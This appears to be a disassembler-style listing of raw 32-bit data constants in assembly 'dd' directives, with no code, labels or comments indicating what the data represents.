		dd 58F5125h, 0FB170F68h, 0A345B969h, 0FBD02A0h,	0A052D30Dh
		dd 0F757D746h, 3AE8E704h, 80FE5388h, 5D495633h,	1D59405Ch
		dd 109241EDh, 0DD5F9C09h, 0FF16EAE5h, 42FE5985h, 5AD531A3h
		dd 0C2432BE1h, 7880D455h, 5D974404h, 0E9398E9Eh, 9EE4CF10h
		dd 0EB7353D1h, 56AB93DFh, 0C0E1C23Fh, 0B0B08E74h, 3E3CD335h
		dd 0D9A72F0Eh, 0AA66C184h, 0D4B1B181h, 0F2F201D8h, 733CF75Eh
		dd 422E020Ah, 0E1689E07h, 34327E8Ch, 0E90EC554h, 0F713BE6Ch
		dd 0AA27337h, 0C88892F0h, 97D3ED36h, 7FA63A5Dh,	19BDA768h
		dd 5C340613h, 0C613002h, 0E8B8806Ah, 956616E9h,	84693A7Bh
		dd 0EDAA439Bh, 4DE9A115h, 55127378h, 0F07E1657h, 0B03B908h
		dd 41658770h, 6B5DE151h, 0BF564893h, 0EE5A6E9Ah, 25E95A7Ch
		dd 465DCC6Eh, 0D87527A8h, 14B22C59h, 4B974ECh, 983FA868h
		dd 4A13729Eh, 0E7E078D9h, 0BB6D5E9Dh, 5FE2323Ch, 1D74EE42h
		dd 4C680790h, 949A9D3Bh, 20DB8802h, 531960D7h, 7E8B01BBh
		dd 41E97CB0h, 0FC846468h, 77025C13h, 7D21887h, 9E6ED40Ah
		dd 0F8936A81h, 0E3BB4E77h, 0BC481092h, 0BE7A523Fh, 1E8C244Dh
		dd 705747CFh, 6098C25Fh, 0CFFF7E55h, 6255A366h,	43E2801Eh
		dd 9BF2970Bh, 9D6A64D3h, 3884AB5Dh, 0E2FEE549h,	9BF9F750h
		dd 6109E9C1h, 0E5ADF87Eh, 6F154EADh, 0E6249215h, 2D521038h
		dd 64D56047h, 203C2649h, 265402FCh, 3541720Dh, 0C88DC15h
		dd 3D35E926h, 1AF0F7A2h, 0F5B4FD9Ah, 15CDF601h,	0B7400E42h
		dd 0BED79D0h, 5BB3E925h, 31172945h, 0C1ECC2ABh,	781EFE5Dh
		dd 754B63E9h, 27B3AF40h, 9BE23F3h, 8DB3F6Dh, 2DF750E2h
		dd 0D7CC08D3h, 5AE9F687h, 0C1E302D2h, 0AD8605EDh, 7A9D1079h
		dd 192D27ADh, 436BA4D4h, 543FE1A5h, 7C68F32Ah, 0F1289005h
		dd 78F2EB01h, 0D76F607Bh, 56744BF5h, 964A727Bh,	0B4EA0D12h
		dd 882E5CE9h, 70271347h, 71E27CCFh, 0A7ADA042h,	38F23752h
		dd 2DEA9317h, 61B56AD1h, 4BB002B8h, 9180DA79h, 0BD65AB70h
		dd 99140296h, 23FDE978h, 0F684C074h, 0C2811882h, 0ED26F589h
		dd 9E37EB5Bh, 45741E61h, 8B63B06Ah, 6A0178B3h, 292A9928h
		dd 0B85A7668h, 0B2C24F08h, 9F167DC1h, 0FBC24996h, 87BD00EBh
		dd 2101F34Fh, 6EBEE581h, 7B31017Fh, 60074CD4h, 2140C2Ah
		dd 0E912D76Ch, 9D14405h, 0F070495Dh, 0FE6613B2h, 89CB169h
		dd 71FE453h, 884B0B41h,	22D24C3h, 2D8EAE57h, 0BB7CD84Bh
		dd 97594040h, 0D6C209E5h, 0BE56001Fh, 9D015595h, 0AA6FBD04h
		dd 342CFB62h, 9465ED5Ah, 343E16DCh, 21CB1A4Bh, 96B3538Ah
		dd 0AC5D2CF4h, 9C98D49Fh, 9327C405h, 0BD801237h, 6C0111E3h
		dd 50A71A10h, 5A5AA860h, 92DC70BCh, 2699FFC2h, 0F94F246Ch
		dd 2C425BCBh, 0A0A31FE9h
		dd 9E4FE8D3h, 0EDD12845h, 28AC09D5h, 0D700194Bh, 734054E3h
		dd 52A55981h, 6FD59C8Bh, 0B908B272h, 4EB79140h,	6E1C107h
		dd 0A41966E9h, 98AEDF18h, 2602CB55h, 0EF3144F8h, 0ECF4555Dh
		dd 0B7055249h, 2A88A0FEh, 0E45525C8h, 0A3375E41h, 53551E8Dh
		dd 8C6F4087h, 1EC05B64h, 5F6608D0h, 0BD4117B7h,	3AD8451Ah
		dd 28AA2DAFh, 0ACCDC44Dh, 0FBED2418h, 3F0F0713h, 486C4F0Bh
		dd 25749D42h, 91744A55h, 0E92508A0h, 5BD2C5h, 7CAFB850h
		dd 0F0BF2258h, 0E89EE50Bh, 0A4BB5401h, 0CEE70103h, 0DB74D06Bh
		dd 96FF0CCh, 76EF9B7h, 29DE0AC9h, 447A60F7h, 0EB2BE128h
		dd 20CD9031h, 3F69450Ch, 0A2DB7580h, 77FC570Bh,	56971FE6h
		dd 63627059h, 0C6BB10CFh, 0A8A88552h, 0D58174Ah, 5C296A90h
		dd 50BD0110h, 988C7B64h, 7E7A0E81h, 0E6A05E4Fh,	483B402Dh
		dd 0E7EA92A0h, 56DDA927h, 7AE18B8Dh, 0B895C2CBh, 84C05BBh
		dd 0A3C2C3FCh, 1F010577h, 83F349DFh, 0BCBFFA46h, 3E96B575h
		dd 53382D34h, 60163B85h, 28C33CBAh, 50E81BEh, 41175FF4h
		dd 72DDB0Ah, 22ECC52Dh,	5C68189Eh, 0DBDD6F1Ch, 4207D6BFh
		dd 80093E79h, 0CD3C9022h, 0D5F71F1Dh, 40B28B45h, 0B967145Ch
		dd 509C05B1h, 0D9108A47h, 9BA0F62h, 18742638h, 2E015A81h
		dd 0CA5FE650h, 40809A6h, 0A5F1C5E3h, 0D8559C2Eh, 57FA927Ch
		dd 163EC993h, 718C76DEh, 0EF8A5ED3h, 0D7B4FF67h, 81BC34FEh
		dd 2B73C179h, 2B52BD0h,	5C277FA0h, 0C6018FDEh, 48BF5AB9h
		dd 0FF53E487h, 0E7136DFh, 6160E6D1h, 0A6791D80h, 2E04BC17h
		dd 803FCD11h, 35BDF915h, 24243AE3h, 0DEE02B95h,	125F2C6Bh
		dd 34E9014Ch, 80291A7Bh, 26AF160Ch, 90CE31ABh, 0CB0B9718h
		dd 0C39D145Fh, 0EF9DE9FDh, 0F3F95D5Bh, 0F82D0601h, 7DE4DAD5h
		dd 4A4D12E9h, 0FF13C8A3h, 0D652F8E0h, 5FD74BABh, 0DDD30B57h
		dd 0D9B0C9B3h, 0BD2E8FB1h, 722FF189h, 1A684A62h, 32F31138h
		dd 779E6109h, 18ABE79h,	8C17ECC8h, 0C2B6ECC0h, 0FBE195C0h
		dd 0F980E9B1h, 0EEC1CC19h, 4D1F636h, 62C7700Eh,	0E9C3ACEh
		dd 0F74DE67Fh, 5CB39D0h, 0F7509618h, 1B8BFF14h,	0D7C09D7Eh
		dd 0AF2FF8F5h, 2E27BA1h, 94EAE9F3h, 3DF0FBD7h, 3716E395h
		dd 68D4985Ah, 0FC48BD25h, 8D31C27Bh, 7C57A25Fh,	56640F37h
		dd 0EF07A422h, 66E6331Eh, 7BC5DFD2h, 0D6A8D8AAh, 9950E8A2h
		dd 0FBE75495h, 0B0BE9002h, 4011690Dh, 301B5639h, 0BD0C74E9h
		dd 663E25C5h, 7A950D1h,	41946816h, 497E60AFh, 36903E2Ch
		dd 6F7651B7h, 6AA8F192h, 0EBF539BCh, 7C847DB2h,	14E8107Eh
		dd 45DE8882h, 0ADC6E4F4h, 0B040E398h, 17DC955Dh, 0F4E2D309h
		dd 0F24BBCFDh, 246307A4h, 0B6B219F9h, 3A840949h, 75F30104h
		dd 0A24079C9h, 48BB2956h, 5275F7Bh, 0F22F85F4h,	0EE120B9Bh
		dd 10F5D0C7h, 2C2A8348h, 9C608021h, 1CF57D47h, 2552E054h
		dd 2A032169h, 0FE4516BEh, 984A919Eh, 94BF25Ch, 761AEC60h
		dd 0AE454E7Dh, 0DF57788h, 75D86856h, 6033EC3Eh,	5D0C2469h
		dd 0EC0C042Ch, 66C82F17h, 80850FBh, 0BDBD4F50h,	18BC5CF6h
		dd 0B8AFCB95h, 0DD7F0279h, 0C6895626h, 0D88455CAh, 5F5A9263h
		dd 920C2DC7h, 4563C35Ch, 0F9F2653Bh, 7E2E78F0h,	0CB157E0Bh
		dd 0C5C0FE03h, 1540EA87h, 0AA1E6205h, 0D0011413h, 0EC4B072Dh
		dd 66017896h, 0E94375DEh, 926A7822h, 0F592C108h, 20BFB00h
		dd 28BD7EB5h, 0A53E0829h, 0BDEDE1F2h, 9F42D7DAh, 0C6489CD2h
		dd 5E8015BCh, 0A8E9095Dh, 85D9779Fh, 6B37C613h,	61157390h
		dd 8EE917C4h, 19A2CC76h, 697D7200h, 28BFBD55h, 217407C6h
		dd 0CBE7E9EBh, 12714677h, 1F64406h, 62B8C522h, 39B07BD6h
		dd 536697C7h, 72E6D497h, 0E9172F94h, 0A6884094h, 0D8500B8h
		dd 0EF3515FEh, 183BAC2Eh, 236F0F40h, 87E1B252h,	40B86430h
		dd 2905D72h, 12669B0Fh,	5A42857Bh, 87FF9C8h, 120EF7Ah
		dd 0E92508A0h, 95CCD806h, 77FA65FEh, 812004EEh,	0B56096Ch
		dd 0E2481FAEh, 0DD2748B2h, 68327761h, 8280C0Dh,	0F1B15F1Ch
		dd 5E66273Dh, 2974721Ch, 0C061B780h, 2C5006E7h,	13694CB0h
		dd 585F266h, 4EE668C8h,	2FC441BCh, 0E2F9BB91h, 0BD11AEF5h
		dd 3BA05C1h, 0A7C3CF0Dh, 4E23DE35h, 2DAEFCF3h, 5F0D258h
		dd 3F4E9EE5h, 6C7BC331h, 95A2A80h, 3C59CD31h, 0AE504633h
		dd 7815B2E7h, 0DFF72499h, 69F2C1Ah, 0C5DDE1Ah, 729D890Bh
		dd 1884DFC1h, 0F075E1E6h, 0C20E35D8h, 0A15D9B0Dh, 0F2ADC41Ch
		dd 0A8F0E13Fh, 80B0E506h, 0C6707362h, 8234542Ah, 0D337ECBh
		dd 68AC1F60h, 7250302Fh, 45088312h, 8A6A141Ch, 2047409h
		dd 38E94EF6h, 955C94A0h, 8CD321DCh, 0B15EE1D3h,	0F32AF1C4h
		dd 50D71088h, 0CB010748h, 290BFE56h, 0B848F4DAh, 55AEBBA8h
		dd 0E4540D26h, 22F40613h, 678465EFh, 89A7B8FBh,	514CF02Dh
		dd 4C479A5Ah, 28341DC1h, 954C55E2h, 91BEF2D2h, 7B1807h
		dd 0E615C780h, 6016CEFh, 0E92DDFEAh, 0DDE003Bh,	0CBA412BFh
		dd 227F3D6Ch, 0EC446642h, 987E20A8h, 0F4659276h, 0DAAE531Dh
		dd 82B65A84h, 79E95604h, 0BEB132Fh, 0DA84F268h,	0D9200719h
		dd 65D2AE74h, 0AA507F2Dh, 0E75E9AF4h, 702160B5h, 0D661BC02h
		dd 496E9EB9h, 0E9007921h, 30667ED5h, 2212E910h,	4DD7FB4Ah
		dd 0F55508A2h, 0BE26B14Dh, 0ABB86F12h, 34CEDEA1h, 370C35FAh
		dd 0D6531C56h, 47781839h, 43CD0C21h, 536FA326h,	0CB168E28h
		dd 6E00691Ch, 867B65C1h, 0D1F73066h, 92DBFE10h,	5F292127h
		dd 0EB504796h, 538E92Dh, 3CFF4E45h, 0F54DD283h,	1C4C9EBFh
		dd 2F6C538h, 164B4140h,	0E160DEF7h, 29276525h, 3E44D7F0h
		dd 551A9337h, 5438F8C9h, 3988C86Dh, 0C69252CAh,	966B950h
		dd 0C4665A58h, 680212C1h, 4BB9F8F9h, 38E076AEh,	0E64ECC72h
		dd 6DBEDA61h, 0C293AF25h, 0A2C9EC89h, 0CB98F465h, 981F965Dh
		dd 519F02A1h, 0D92949D1h, 3FDB90E0h, 0C2448D28h, 0E3484201h
		dd 8EC98140h, 807AC3E9h, 233B9ED1h, 1DC1051h, 3E7EC488h
		dd 1530BEC0h, 32C1A02Fh, 5455124Ch, 4404EE09h, 851DC625h
		dd 0E337C468h, 22670495h, 35F01279h, 0ED8625DDh, 0A669E577h
		dd 0DD13492Eh, 0C77153F2h, 59184889h, 676E910h,	64E4F7F2h
		dd 25C49795h, 0C2C5D77Ch, 23CDA8D0h, 2AE9FA33h,	1CBE4CEh
		dd 0B30430EAh, 3BD30103h, 616BDC2Dh, 2E940D74h,	90685B2h
		dd 4805B413h, 8D2EDC95h, 7A2477C5h, 0E380BE80h,	2F50B745h
		dd 210206CFh, 0D8309EC3h, 94D6BE43h, 0AB535E04h, 0FC4FD1A3h
		dd 30BCB1D9h, 9CB7213Bh, 6C05052Dh, 0B6EBEA8Bh,	858B5057h
		dd 39F95817h, 2AD96C07h, 5454C93h, 0CED3DA0Eh, 68F5BBC4h
		dd 0FC5D842Bh, 2C2B408h, 25D5D44Ch, 0E5881973h,	0BC561221h
		dd 95E8462h, 25FDE2EFh,	0D5A0421Dh, 5F4B03BCh, 4A0F8BBEh
		dd 1F191DE9h, 0DDE0FF6Fh, 0EF316E40h, 48CD6858h, 0AF103926h
		dd 0D9E9093Ch, 0E9D9A958h, 0B845446h, 98615568h, 32071D79h
		dd 0CE812CCDh, 1B361963h, 6CD7997Ch, 526653B0h,	0B6EB63Ah
		dd 854DD268h, 0FA49F02Ch, 41E332FCh, 0F1EDE631h, 0C339BA2Bh
		dd 40055560h, 0BA12669Fh, 0BCE057A1h, 93314BFEh, 8D42CE8h
		dd 52578CE8h, 0EC16C2Eh, 2D5F281h, 83EA0A87h, 0D789E24Ch
		dd 0F8216760h, 68F03EF9h, 0E90209E8h, 52D1AEB0h, 645A925h
		dd 5CFAFC2Ah, 73201135h, 60A5BE05h, 16AF55A4h, 7B88B84Fh
		dd 0BABD3164h, 0FB78D5EFh
		dd 0E23B34A1h, 92F94E85h, 0A177E917h, 0FCE73A70h, 4B90ABD7h
		dd 0B3772D68h, 354A020Eh, 6A4013B9h, 27006E84h,	0A3D2BF34h
		dd 972947E0h, 0B0D3D879h, 247835EDh, 840916h, 7BE11D6Fh
		dd 0E912FD01h, 7BFC366Ah, 419E1A1h, 0E2A733E8h,	4446A1ABh
		dd 54505F12h, 0D63BA6BBh, 75F84304h, 5B4A8EBEh,	68A15AFCh
		dd 0AC303F15h, 0DC62B450h, 1BC2EF46h, 60DC42FFh, 25AD3A1Ah
		dd 47D8FF5h, 0A301DA2Fh, 9272C67Fh, 5542A920h, 0F75B5AF0h
		dd 0F600A6FBh, 885352D0h, 0AA2BE5C3h, 0F8E0F849h, 81799D5Ah
		dd 47A12E97h, 889AA36Eh, 4409080Ch, 310FB70Bh, 3420B29Fh
		dd 8CE84AEFh, 3204D87Ah, 0CD814D82h, 0CDCC1ABh,	3AA27F56h
		dd 798528C1h, 4940E2B2h, 7FC9687Eh, 0E9EBF0D1h,	13F5CED9h
		dd 0BAB5856Eh, 95DEE388h, 38FC9AD5h, 0B79D25F5h, 0F78F6AFCh
		dd 601B49DBh, 97F8304Bh, 7769B979h, 9C89B88h, 0FBFA36B2h
		dd 62166809h, 7F6B7855h, 212CFD59h, 52643503h, 23D12709h
		dd 0AB896E4Ch, 0C731BB2Bh, 1C8179F5h, 0A87844BDh, 49C23B0Dh
		dd 2F72DC63h, 0B783167Dh, 0CFBAE670h, 0EE551C00h, 0F1CABA03h
		dd 0F1C55F76h, 20973FDFh, 8CBA33E4h, 0C85188AAh, 0E57920FEh
		dd 0A74E1BD2h, 70614426h, 0A45A5DFDh, 4D41F2B7h, 1A9FBC7Ah
		dd 0FC39DC5Ch, 32C05A39h, 0E9802580h, 27F0BE48h, 0A8554D70h
		dd 9AE9EF9Fh, 28D02F87h, 243898BDh, 2D820B8h, 41B2336Ch
		dd 575EA886h, 752CD81Eh, 0C04A2A4Ah, 0C051AC40h, 58B1C92Eh
		dd 84DD4D55h, 0AB54F6E9h, 0F52D2A49h, 74A19449h, 0C604FE17h
		dd 2807F680h, 13769E86h, 0C58FE953h, 2F3E9967h,	0DC1C49EBh
		dd 5F97B0D0h, 1CA0681Eh, 9800217h, 0CB28EED0h, 0EBF05EA3h
		dd 6B253128h, 4D50AF0Bh, 12F55038h, 514EC013h, 0F5E77049h
		dd 0FAF0953Ah, 0EA127F56h, 0A04B02B9h, 0EB7F15Dh, 0D46CE996h
		dd 5AC0721Bh, 0F9B76A60h, 0F6803F55h, 7A8FFBBBh, 16B8F229h
		dd 0F141242Dh, 33878B99h, 35A6DC54h, 0DA4E6B02h, 537EE178h
		dd 0F57E5FC2h, 0DF185D52h, 0EB0B7ABEh, 80D9F70Ah, 5929E9BEh
		dd 0FDE14B5Ah, 5D981082h, 7C129748h, 912DAA2Dh,	9BE9B250h
		dd 3BB8B23Ch, 2C74A9BDh, 25ADEA31h, 0C6272C77h,	53994BF3h
		dd 7C3EB999h, 589F549Dh, 0B29DB08Dh, 3C830435h,	2708CAABh
		dd 8B5A626Ch, 0C04E7702h, 4E31AB20h, 5FACB58h, 124819D6h
		dd 500E23E8h, 0EE803A7Ch, 62C37655h, 0A4CE2928h, 2E590881h
		dd 0C95135D7h, 42BD7CBh, 0A949686Fh, 8BBF4B96h,	90E25E07h
		dd 54F9E9C5h, 4F187C89h, 0AEEDDF73h, 77C53001h,	0D3F7DD87h
		dd 0F0F08ACh, 70CB285Bh, 30DA1100h, 0CAEC6777h,	0D09E409h
		dd 80E6543Eh, 0CF1DAEC2h, 849D29EEh, 17AB8BEDh,	0B575AB3Bh
		dd 8AE9F2FFh, 818F9A11h, 605AC2C3h, 8E06142h, 0BFC0AF62h
		dd 8DD95C86h, 0C2A9294Bh, 886CD8CBh, 1B02B14Ah,	5707E7C0h
		dd 0B60E5516h, 87C780D1h, 0EF57F728h, 8279DF99h, 9852EE63h
		dd 6E28B4C6h, 0E9A210FEh, 18DF4B83h, 88BE3C09h,	2BD5EF3h
		dd 98D921C9h, 8157514Ch, 0CFF7FE54h, 72688433h,	1273F36Eh
		dd 72AE17FCh, 0A077C6A7h, 0E14CF1F6h, 1CB13B8h,	0B11DACCAh
		dd 6B2248BEh, 630E092h,	0D2DE2825h, 401A9D38h, 0ADF45C5Fh
		dd 0EF9727D6h, 0F85E2509h, 0D0F712CDh, 9F7CA148h, 95C4050Ch
		dd 1D806AD1h, 5AD754B9h, 892504Eh, 4C7FE650h, 2894663h
		dd 49C78600h, 4C980FE7h, 8FD4E10Ch, 9DF0E23Ch, 85FC659Ch
		dd 6EFFE37Eh, 6CA87AB8h, 0CF1D7860h, 26F10C3Eh,	7C74F79h
		dd 713750A0h, 2AFB35E9h, 54514522h, 1159186Ah, 69B94D5Dh
		dd 1D17A9C0h, 18819244h, 0A17FCB68h, 0FB20D41h,	25CCCD58h
		dd 0E5B275DDh, 0E3FDFD09h, 5C8A8948h, 90CB303Ch, 202A744Ch
		dd 78B7104Ch, 57440E4h,	9032DABDh, 54102F80h, 68E5DB5Eh
		dd 30B69C31h, 5703A929h, 290B3151h, 78CBB6E5h, 907CC303h
		dd 41F9012Ah, 0C8008AAh, 71C52E9Ch, 43626968h, 68ECB259h
		dd 1E13B333h, 0D749EB80h, 5B8EC2F0h, 0F23620FFh, 97BC3C64h
		dd 0F7A59ADAh, 0E9CD98AFh, 6265F527h, 1E00EA3Ah, 58F381D3h
		dd 2516B8F8h, 0B7C21CE9h, 0F58892DFh, 9C4FFBCh,	0A7D33FE9h
		dd 0F61B1ACh, 4BE867A8h, 54272871h, 5B7FE8A2h, 0D2680417h
		dd 0F3F7CD47h, 0D01D55C9h, 0BECD505Eh, 42604C70h, 972C7A0Ah
		dd 1F4EEB60h, 259C8082h, 5597422h, 5A6E0D32h, 9D94C10Eh
		dd 0DCD12ABAh, 0AD3A7DF5h, 0D4229991h, 0F3F75D02h, 2B030979h
		dd 6A5AC8FCh, 787A7424h, 5D53AA68h, 9B2D78C4h, 6B3CF431h
		dd 94FB9C55h, 0FB6796AAh, 0E868CE30h, 0BC969178h, 94600B00h
		dd 0E2D15A7Dh, 0E9DAF709h, 0FD4443E7h, 95898FB4h, 0C6C9A0DEh
		dd 207AFF51h, 8F14E9C3h, 5AAC769Fh, 97EA3B48h, 4DF67116h
		dd 0F59AF609h, 3E2A1644h, 0C125CD49h, 0C979C0AEh, 0E02BF173h
		dd 0FDE8CB22h, 3A9F5862h, 6AED5534h, 536DE906h,	0B9BB042Ah
		dd 0AE2FAAEEh, 4FAC3585h, 4030E982h, 0F5810C76h, 3FF0140Ah
		dd 672DAB3Bh, 1720AF3Eh, 0E127A668h, 4678BB2Fh,	0BBEA9ECBh
		dd 6CB7E51Bh, 77E957B3h, 840D4117h, 3F75255Ah, 2EA4985h
		dd 0D03158A9h, 7AC5E591h, 7FF914D2h, 7B2F4860h,	0A5740228h
		dd 3BB5CE20h, 0B92C831h, 1008AD5Fh, 0CE40773Fh,	94525BCDh
		dd 45F18047h, 73600259h, 78105B0Ch, 2D8DA41Bh, 53CC5247h
		dd 7D5F25F4h, 0C30F64FAh, 9B4A4A84h, 0D72015C2h, 5613BCE5h
		dd 2F8A7836h, 1A55BE45h, 9B1F61FAh, 0CE53F86Fh,	0CBEE1628h
		dd 0D0081710h, 5EE98FEFh, 65A32391h, 2CF01383h,	8ED85A0Bh
		dd 73A1C620h, 75533C0Ch, 9A2C932Ah, 880EFCBDh, 0FE0E3189h
		dd 0F36EE4C7h, 0C1EA6AD5h, 3F44DC95h, 0D345A028h, 0A2CBBAFFh
		dd 0D749F85Fh, 0DF050109h, 0DE459A2Bh, 66112D07h, 0D2EF2804h
		dd 8702765Dh, 0BC02FFEEh, 0DE2938ADh, 0F1A162FDh, 317E4E4h
		dd 0CCFC8573h, 0C8778D04h, 9CC4EEA9h, 0F5A5D1FEh, 896B3480h
		dd 70F5EAEDh, 3F6816C7h, 2806342h, 4B8EBF85h, 0DD1E0458h
		dd 160D262Eh, 8E410DFh,	0BDD7E909h, 4AEEB0D2h, 3A8D4E5Bh
		dd 0EC6E8E61h, 2CE9F0A9h, 0EFCFC0FCh, 0EC7542CDh, 0F989511Ch
		dd 0B208CE92h, 59B8010Fh, 3E134E54h, 502655FDh,	41C30290h
		dd 0F07515A0h, 77C9250Eh, 0ADBDB0F3h, 717B89F7h, 0AB668FEh
		dd 0ECED6D2Dh, 3804D1F6h, 0EF012590h, 7B4C0810h, 0A223E983h
		dd 7DC1C127h, 0B82DE8Ah, 987F4CB0h, 0F85456FEh,	3842568h
		dd 4C66BB98h, 513FE17Fh, 0F62B052h, 9B4B43E9h, 2B320B9Fh
		dd 0ACC4C3F1h, 0F82AC0A1h, 0B32E65Eh, 2E036851h, 0BD2A2DEDh
		dd 4E44D320h, 6C81F128h, 0F81AE1B0h, 0F0EAF581h, 0D8677A39h
		dd 5E16E5E2h, 350F1721h, 0E90601C1h, 0B9A54F29h, 22FAE0F5h
		dd 0C4675973h, 4B650571h, 0E0DFE979h, 5C9D5BACh, 51D7C9A7h
		dd 9FE9E18Ah, 54BD6E6Dh, 178D62C6h, 5B72F505h, 1DEABAAAh
		dd 9CFDA786h, 6028907Ah, 0CFEB37EAh, 68764948h,	1FB7CB00h
		dd 0BF5747C1h, 7823024Eh, 7F3BE973h, 0F870205Dh, 982D5463h
		dd 7BB609B5h, 0F7DC45FCh, 0E91608A0h, 80416C5Bh, 0C728B4EFh
		dd 775997D7h, 1CC59BEAh, 4D3ADD2Fh, 0EA42C35Eh,	25639402h
		dd 28E44896h, 626990F0h, 3015F76h, 6B08B447h, 75BDCFF0h
		dd 0DD482426h, 254D107Fh, 83979551h, 0C0F0B252h, 0E20C8473h
		dd 4DAF605h, 4BC21280h,	6CDC0851h, 39D15C2Fh, 95FFA85h
		dd 0CBBDE8D5h, 29E25D4Dh
		dd 2D1ECD5Dh, 0A63B1453h, 0E60AE8EDh, 0FB968B53h, 418A2DABh
		dd 102D5ACDh, 7F74C7CFh, 9FC39F8Ah, 0D6096000h,	4DE9FEADh
		dd 637CBF63h, 0BD7F5A51h, 3FC600FEh, 0F028BB2Ch, 82FBE904h
		dd 0A77673C8h, 415BB5F0h, 49DEADE0h, 8585E184h,	0E52B959h
		dd 629D125Ch, 7E5EF209h, 5E90444h, 0E423AF7Fh, 0C6BF03E6h
		dd 0A3672E5h, 6329651h,	2CE00C08h, 0E9634506h, 953E32C6h
		dd 209AF75h, 0F1496B9Ch, 0D3F70A21h, 0F60098Eh,	431DE68h
		dd 896BD712h, 5C294AD8h, 0C07315D9h, 0CE81DE3Bh, 143B5E6Fh
		dd 0B8E6027Ch, 576A9621h, 126B4E81h, 3BB08125h,	56010509h
		dd 0B5E2EF56h, 57F9EDF0h, 985EDB8Ah, 0FAF15FE9h, 0C2675FCBh
		dd 7CB92AB0h, 0C1974A65h, 0D214F335h, 2EECA582h, 5C149FACh
		dd 0B653C92Eh, 4929A42h, 0CD45AB59h, 0A9C841F6h, 0E77B5EA8h
		dd 28FF5A6Dh, 285E6A4Bh, 0A94BF4F6h, 4B7348F7h,	777B03ADh
		dd 0F7259FEDh, 814D91E6h, 3414ECF2h, 0CA1F4690h, 7A5669DAh
		dd 5AC12716h, 207FD101h, 65A168B9h, 25168D3Dh, 0BF6E7049h
		dd 340B4B45h, 425DDC07h, 0E555A177h, 284B08B1h,	3784D52Dh
		dd 0D832C051h, 78053E3Ah, 4FEFD147h, 885067B8h,	26710265h
		dd 1B17E9AEh, 382BA27Dh, 0B594573Fh, 0A1BA29ECh, 4A4DEE48h
		dd 2AB414FFh, 32CEAF4Bh, 997D5E2Dh, 51C5E981h, 84EDB99Ch
		dd 0EF2F6B30h, 4E804491h, 1F1A6800h, 6657596h, 722098AEh
		dd 57B02892h, 0C75FFA90h, 40852694h, 12069FEFh,	0A1F06EE9h
		dd 0CDD75CF6h, 3A6A474h, 19777DEAh, 0A441D501h,	0A4F37B08h
		dd 940890D3h, 4250184Bh, 0DB429F2h, 88BB53E3h, 90085B3Dh
		dd 18DA185Ah, 44CB96CDh, 587D5F18h, 273B520Ch, 99E337FBh
		dd 80C242B1h, 7874EB76h, 0D6096F2Ah, 0B0EDF8F2h, 58C95056h
		dd 4327F341h, 0C6CFEDF1h, 79F2B13h, 0E25759CEh,	0FBBD1055h
		dd 7727F67Fh, 0D8BF4131h, 0B95C003Eh, 4FF70B68h, 0AD5F53F4h
		dd 0A5EA37AAh, 0E38DFBFAh, 0B92507E0h, 963609BAh, 883CAD6h
		dd 0D960EF6Bh, 2E79580Ah, 54C07D3Dh, 26BEEB4h, 5CD4490h
		dd 553AA45Ah, 0B05B3940h, 685AB437h, 0EB5A16D6h, 8D44848Ah
		dd 0E01A0638h, 0B3AB95Fh, 9DC1D097h, 1F2E845Dh,	0BF26CCAFh
		dd 0BE077B3Fh, 0D0FB972Ch, 0C3045BE5h, 6E6DF1EFh, 0D70452DDh
		dd 981F1EFh, 0B1A22B0Eh, 2A808F97h, 2E28A0D3h, 584E3926h
		dd 4C6BAA98h, 2D68E31h,	5FCA68B9h, 10F74C77h, 1071539h
		dd 4BE309F4h, 5838A7E9h, 0C0C1B402h, 0F2C006E4h, 0CA7FFEA5h
		dd 74370830h, 3253F305h, 2A8825B3h, 0B66585D6h,	50E3F895h
		dd 0ECDF01C9h, 0D231090Eh, 2221EE9h, 0A245D701h, 50A374ADh
		dd 8C4DB7E9h, 78EB3ABDh, 5F88D825h, 4308D267h, 0C01C44B5h
		dd 0D77B2DCDh, 44292617h, 59F738FEh, 4B68500Ah,	0D06AA60Eh
		dd 58FC1D20h, 0B7CC274Fh, 3055419Dh, 809F8620h,	6DEBBBDh
		dd 0E6095807h, 0CE63C54Ah, 8CEA4E63h, 0A82D68E9h, 0C83C9B40h
		dd 0FB560CBCh, 0C05CD060h, 20AE351Ch, 0B9F7716h, 0F7657D03h
		dd 0C4AA6A8Bh, 9F0BF094h, 0DA880481h, 3BD1CD5Bh, 6E07F705h
		dd 4E881D6h, 1D646BDDh,	34CBEA89h, 3C7B0B4Ch, 0EFDFAD3Fh
		dd 5C5EEE4Bh, 6596520Fh, 4F41BE98h, 15C1B083h, 0C0144C9h
		dd 3F550CB5h, 2E3AE9h, 17F8B8E2h, 2D040841h, 8D47C45Ch
		dd 414A4DA8h, 0F9539CC6h, 0AFDDDB7Ah, 0B3E98093h, 0A3624A65h
		dd 840DD48Bh, 8CAFEE38h, 424045F5h, 658F3868h, 0C038EE4Ah
		dd 203F985Dh, 354BF30Fh, 8A151EEBh, 9DC073F1h, 0B1D1C9EEh
		dd 38A7BC48h, 0D0376F2Dh, 5673206Eh, 749ABB0Ch,	3BEBC25Fh
		dd 13314FAAh, 0C024EE0Ch, 5636E967h, 69F646E5h,	25DF1CF3h
		dd 0F3875E2Ch, 0A913A6B4h, 0C7E0748h, 6F78FDh, 63F66EB2h
		dd 2CC2F68h, 1C79EE98h,	2616C937h, 65951150h, 0C4FB4C29h
		dd 36144A05h, 0CF83AA44h, 5FCC17D1h, 27B7F345h,	15ABFF73h
		dd 236F207Ah, 0BDECC12h, 374E09BBh, 1952B508h, 13F313B6h
		dd 8C6894Bh, 0B8011547h, 2B7F72D6h, 883871E9h, 73FBE02h
		dd 35603E0Bh, 273B174Ah, 84F60E56h, 830C0B57h, 0C9FEDC3Eh
		dd 0A27E293Dh, 0FED241h, 3B4A31F1h, 682C5D5Ah, 0E9866772h
		dd 90DDC3DBh, 1AE13D91h, 985D587Bh, 337AF581h, 0A90C2F6Dh
		dd 7B689734h, 79AF9C03h, 9BF62B5Eh, 4A884510h, 4A3124A0h
		dd 506F883Ah, 0B1C5B002h, 7CC13010h, 4785497Dh,	3B98FFCFh
		dd 315E1768h, 0E9110543h, 0A6A3EF98h, 0A9745016h, 0EAC2028Ch
		dd 614A4019h, 0CFAF3203h, 0C1D77205h, 6D487EF0h, 98659309h
		dd 1450D01h, 0A06B7D4Ch, 6D905307h, 0C6FF309h, 578A0261h
		dd 5A06850h, 93291CCAh,	0D8D35Ah, 0ED0DBA2Ah, 371E975h
		dd 1160E8BEh, 0C93DEA71h, 0C575529Ah, 443DEA28h, 57AFC6Dh
